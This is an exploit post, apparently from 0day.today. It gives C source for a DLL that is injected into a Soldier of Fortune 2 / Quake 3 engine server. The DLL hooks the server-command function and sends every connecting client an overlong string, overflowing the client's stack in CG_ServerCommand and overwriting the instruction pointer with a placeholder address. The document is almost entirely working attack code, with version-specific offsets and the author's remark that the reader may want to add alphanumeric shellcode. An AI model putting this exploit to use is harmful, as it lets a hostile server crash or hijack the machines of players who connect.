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Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit
[================================================================
Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit
================================================================
/*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon
E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik
This is a DLL, which gets injected into the server exe.
You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)
Use this responsibly. You are responsible for any damage you cause using this.
Info:
The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..
*/
#include <stdio.h>
#include <windows.h>
#include <detours.h>
struct VersionStruct {
char *pVersionString;
DWORD dwVersionStringAddr;
DWORD dwSendServerCommandAddr;
DWORD dwFillSize;
DWORD dwNewEIP;
};
VersionStruct Versions[] = {
{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 }, //SoF2 1.03
};
VersionStruct *pVersion = NULL;
void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
char szString[4096];
char *pPtr = NULL;
if(pVersion != NULL)
{
memset(szString, 0, sizeof(szString));
pPtr = &szString[0];
memset(pPtr, 'a', pVersion->dwFillSize);
pPtr += pVersion->dwFillSize;
memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
pPtr += sizeof(DWORD);
orig_SV_SendServerCommand(pCl, szString);
}
}
bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
if(dwReason == DLL_PROCESS_ATTACH)
{
for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
{
if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
{
pVersion = &Versions[i];
break;
}
}
if(pVersion == NULL)
{
//Could not find correct version
return 1;
}
DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
_asm mov [orig_SV_SendServerCommand], eax
}
return 1;
}
# 0day.today [2024-12-25] #